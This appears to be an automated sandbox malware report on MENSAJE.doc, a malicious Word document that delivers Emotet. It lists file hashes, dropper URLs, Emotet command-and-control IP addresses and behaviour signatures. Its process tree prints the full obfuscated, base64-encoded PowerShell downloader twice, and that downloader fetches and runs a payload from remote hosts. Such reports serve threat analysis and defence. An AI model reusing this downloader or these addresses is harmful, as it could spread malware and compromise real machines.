Analysis

  • max time kernel
    142s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    09-03-2021 16:01

General

  • Target

    MENSAJE.doc

  • Size

    202KB

  • MD5

    9d4d116932dca89da824904da20599ec

  • SHA1

    c3640d3f33701aad9d74217d59dd455469de2aee

  • SHA256

    d6ac4f01d275ae5367b2b7fb961c3d36bd8e3ca0a05d81a16fcf3fe35979b321

  • SHA512

    cdb8ce668827e3e6925e9777b8d26f7a95c8eacd69da753d078f5d79458d3e32b8c7765bae6af67b059f3b92fb2e4e90cf005592860713de6ce1753df37eab34

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://zhongshixingchuang.com/wp-admin/OTm/

exe.dropper

http://www.greaudstudio.com/docs/FGn/

exe.dropper

http://koreankidsedu.com/wp-content/2cQTh/

exe.dropper

http://expeditionquest.com/X/

exe.dropper

https://suriagrofresh.com/serevers/MVDjI/

exe.dropper

http://geoffoglemusic.com/wp-admin/x/

exe.dropper

https://dagranitegiare.com/wp-admin/jCH/

Extracted

Family

emotet

Botnet

Epoch1

C2

184.66.18.83:80

202.187.222.40:80

167.71.148.58:443

211.215.18.93:8080

1.234.65.61:80

80.15.100.37:80

155.186.9.160:80

172.104.169.32:8080

110.39.162.2:443

12.162.84.2:8080

181.136.190.86:80

68.183.190.199:8080

191.223.36.170:80

190.45.24.210:80

81.213.175.132:80

181.120.29.49:80

82.76.111.249:443

177.23.7.151:80

95.76.153.115:80

93.148.247.169:80

rsa_pubkey.plain

Extracted

Family

emotet

Botnet

LEA

C2

80.158.3.161:443

80.158.51.209:8080

80.158.35.51:80

80.158.63.78:443

80.158.53.167:80

80.158.62.194:443

80.158.59.174:8080

80.158.43.136:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\MENSAJE.doc"
    Drops file in Windows directory
    Modifies Internet Explorer settings
    Modifies registry class
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of SetWindowsHookEx
    PID:1740
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACcAdwAnACsAJwB3ACcAKwAnAHcAJwArACgAJwAuAGcAcgBlACcAKwAnAGEAJwApACsAJwB1ACcAKwAoACcAZABzACcAKwAnAHQAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAJwArACcAKAAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABkACcAKwAnAG8AJwArACcAYwBzACcAKQApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgARgBHAG4ASgAnACsAJwApACcAKwAnACgAJwArACcAMwAnACsAJwBzADIAKQAoAEAAaAB0AHQAcAA6AEoAKQAoACcAKQApACsAJwAzACcAKwAnAHMAJwArACgAKAAnADIAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGsAJwArACcAbwAnACkAKQArACcAcgAnACsAKAAnAGUAYQAnACsAJwBuAGsAJwArACcAaQBkACcAKQArACgAJwBzACcAKwAnAGUAZAAnACkAKwAoACcAdQAuAGMAJwArACcAbwBtACcAKQArACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAcAAtAGMAbwAnACsAJwBuACcAKQApACsAKAAnAHQAZQBuACcAKwAnAHQAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAMgBjACcAKwAnAFEAJwApACsAKAAoACcAVABoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAJwArACcAMwBzADIAKQAoAEoAJwArACcAKQAnACsAJwAoACcAKQApACsAKAAnADMAcwAnACsAJwAyACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAZQB4AHAAJwArACcAZQBkAGkAJwApACsAJwB0AGkAJwArACcAbwAnACsAKAAnAG4AcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALgBjACcAKwAnAG8AJwArACcAbQBKACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzAHMAJwArACcAMgAnACsAJwApACgAWABKACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAB0AHQAcAAnACsAJwBzADoASgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACgAJwAzAHMAJwArACcAMgApACcAKwAnACgASgAnACsAJwApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcwB1ACcAKwAnAHIAJwApACsAJwBpACcAKwAoACcAYQBnAHIAJwArACcAbwAnACkAKwAoACcAZgAnACsAJwByAGUAcwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACgAKAAnAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHMAZQAnACsAJwByAGUAJwApACkAKwAoACgAJwB2AGUAcgBzAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAE0AJwApACkAKwAnAFYARAAnACsAJwBqACcAKwAoACgAJwBJAEoAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAnACsAJwAoAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGcAJwArACcAZQAnACsAJwBvAGYAJwApACkAKwAoACcAZgAnACsAJwBvAGcAJwApACsAJwBsAGUAJwArACgAJwBtAHUAcwAnACsAJwBpAGMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQApACsAKAAoACcAbQBpACcAKwAnAG4AJwArACcASgApACgAJwApACkAKwAoACgAJwAzAHMAMgApACgAeAAnACsAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnAHMAOgBKACkAKAAnACsAJwAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGQAJwArACcAYQBnACcAKQArACgAJwByACcAKwAnAGEAbgBpACcAKQArACcAdAAnACsAKAAnAGUAZwBpAGEAcgBlACcAKwAnAC4AYwBvACcAKwAnAG0ASgAnACkAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAJwAoACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtAGkAbgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKABqAEMASABKACcAKwAnACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALgAiAFIAZQBQAGwAYQBgAEMAZQAiACgAKAAoACgAKAAnAEoAKQAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAFAAbABpAFQAIgAoACQAQgBpAHkANwB2AGYAegAgACsAIAAkAFMAbABmAHIAMQBnAHAAIAArACAAJABaADcAdgB1AGwAYwB2ACkAOwAkAEQAbQBxAGkAOABwAGkAPQAoACcAUAAnACsAKAAnAGoAZAB1ACcAKwAnAGQAYwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAHAANQBrAG4AcgB5ACAAaQBuACAAJABKAGsAZAB5AHMAMABvACAAfAAgAFMAYABPAFIAdAAtAGAAbwBCAEoAYABFAGAAQwB0ACAAewBnAGAARQBUAC0AcgBgAEEAbgBgAEQATwBtAH0AKQB7AHQAcgB5AHsAJABHAGsAaABtADEAdABnAC4AIgBEAE8AdwBuAGwAbwBgAEEAYABEAGYASQBMAEUAIgAoACQAWgBwADUAawBuAHIAeQAsACAAJABKAGQAZwB6AGEANQBvACkAOwAkAFoAZABjAGoAMABjAG4APQAoACcASAAnACsAKAAnADMAJwArACcAcQAwADkAawAnACkAKwAnAHEAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEoAZABnAHoAYQA1AG8AKQAuACIATABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAOQA4ADgANwApACAAewAmACgAJwByACcAKwAnAHUAbgAnACsAJwBkAGwAbAAzADIAJwApACAAJABKAGQAZwB6AGEANQBvACwAJwAjADEAJwAuACIAVABPAHMAYABUAGAAUgBpAG4ARwAiACgAKQA7ACQASABhAG8AMAA4ADYAeQA9ACgAJwBPAGsAJwArACcAbQBiACcAKwAoACcAZQAwACcAKwAnADgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAdgBpAF8AbQB0AGIAPQAoACgAJwBCADAAJwArACcAZgAwACcAKQArACcAawBnACcAKwAnAG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAGYANABjAHQAeQBjAD0AKAAoACcASwAnACsAJwBqAG8AJwApACsAJwA0ACcAKwAoACcAYgBtACcAKwAnAGcAJwApACkA
    Process spawned unexpected child process
    Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      PID:1824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACcAdwAnACsAJwB3ACcAKwAnAHcAJwArACgAJwAuAGcAcgBlACcAKwAnAGEAJwApACsAJwB1ACcAKwAoACcAZABzACcAKwAnAHQAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAJwArACcAKAAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABkACcAKwAnAG8AJwArACcAYwBzACcAKQApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgARgBHAG4ASgAnACsAJwApACcAKwAnACgAJwArACcAMwAnACsAJwBzADIAKQAoAEAAaAB0AHQAcAA6AEoAKQAoACcAKQApACsAJwAzACcAKwAnAHMAJwArACgAKAAnADIAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGsAJwArACcAbwAnACkAKQArACcAcgAnACsAKAAnAGUAYQAnACsAJwBuAGsAJwArACcAaQBkACcAKQArACgAJwBzACcAKwAnAGUAZAAnACkAKwAoACcAdQAuAGMAJwArACcAbwBtACcAKQArACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAcAAtAGMAbwAnACsAJwBuACcAKQApACsAKAAnAHQAZQBuACcAKwAnAHQAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAMgBjACcAKwAnAFEAJwApACsAKAAoACcAVABoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAJwArACcAMwBzADIAKQAoAEoAJwArACcAKQAnACsAJwAoACcAKQApACsAKAAnADMAcwAnACsAJwAyACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAZQB4AHAAJwArACcAZQBkAGkAJwApACsAJwB0AGkAJwArACcAbwAnACsAKAAnAG4AcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALgBjACcAKwAnAG8AJwArACcAbQBKACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzAHMAJwArACcAMgAnACsAJwApACgAWABKACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAB0AHQAcAAnACsAJwBzADoASgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACgAJwAzAHMAJwArACcAMgApACcAKwAnACgASgAnACsAJwApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcwB1ACcAKwAnAHIAJwApACsAJwBpACcAKwAoACcAYQBnAHIAJwArACcAbwAnACkAKwAoACcAZgAnACsAJwByAGUAcwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACgAKAAnAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHMAZQAnACsAJwByAGUAJwApACkAKwAoACgAJwB2AGUAcgBzAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAE0AJwApACkAKwAnAFYARAAnACsAJwBqACcAKwAoACgAJwBJAEoAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAnACsAJwAoAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGcAJwArACcAZQAnACsAJwBvAGYAJwApACkAKwAoACcAZgAnACsAJwBvAGcAJwApACsAJwBsAGUAJwArACgAJwBtAHUAcwAnACsAJwBpAGMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQApACsAKAAoACcAbQBpACcAKwAnAG4AJwArACcASgApACgAJwApACkAKwAoACgAJwAzAHMAMgApACgAeAAnACsAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnAHMAOgBKACkAKAAnACsAJwAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGQAJwArACcAYQBnACcAKQArACgAJwByACcAKwAnAGEAbgBpACcAKQArACcAdAAnACsAKAAnAGUAZwBpAGEAcgBlACcAKwAnAC4AYwBvACcAKwAnAG0ASgAnACkAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAJwAoACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtAGkAbgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKABqAEMASABKACcAKwAnACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALgAiAFIAZQBQAGwAYQBgAEMAZQAiACgAKAAoACgAKAAnAEoAKQAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAFAAbABpAFQAIgAoACQAQgBpAHkANwB2AGYAegAgACsAIAAkAFMAbABmAHIAMQBnAHAAIAArACAAJABaADcAdgB1AGwAYwB2ACkAOwAkAEQAbQBxAGkAOABwAGkAPQAoACcAUAAnACsAKAAnAGoAZAB1ACcAKwAnAGQAYwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAHAANQBrAG4AcgB5ACAAaQBuACAAJABKAGsAZAB5AHMAMABvACAAfAAgAFMAYABPAFIAdAAtAGAAbwBCAEoAYABFAGAAQwB0ACAAewBnAGAARQBUAC0AcgBgAEEAbgBgAEQATwBtAH0AKQB7AHQAcgB5AHsAJABHAGsAaABtADEAdABnAC4AIgBEAE8AdwBuAGwAbwBgAEEAYABEAGYASQBMAEUAIgAoACQAWgBwADUAawBuAHIAeQAsACAAJABKAGQAZwB6AGEANQBvACkAOwAkAFoAZABjAGoAMABjAG4APQAoACcASAAnACsAKAAnADMAJwArACcAcQAwADkAawAnACkAKwAnAHEAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEoAZABnAHoAYQA1AG8AKQAuACIATABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAOQA4ADgANwApACAAewAmACgAJwByACcAKwAnAHUAbgAnACsAJwBkAGwAbAAzADIAJwApACAAJABKAGQAZwB6AGEANQBvACwAJwAjADEAJwAuACIAVABPAHMAYABUAGAAUgBpAG4ARwAiACgAKQA7ACQASABhAG8AMAA4ADYAeQA9ACgAJwBPAGsAJwArACcAbQBiACcAKwAoACcAZQAwACcAKwAnADgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAdgBpAF8AbQB0AGIAPQAoACgAJwBCADAAJwArACcAZgAwACcAKQArACcAawBnACcAKwAnAG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAGYANABjAHQAeQBjAD0AKAAoAC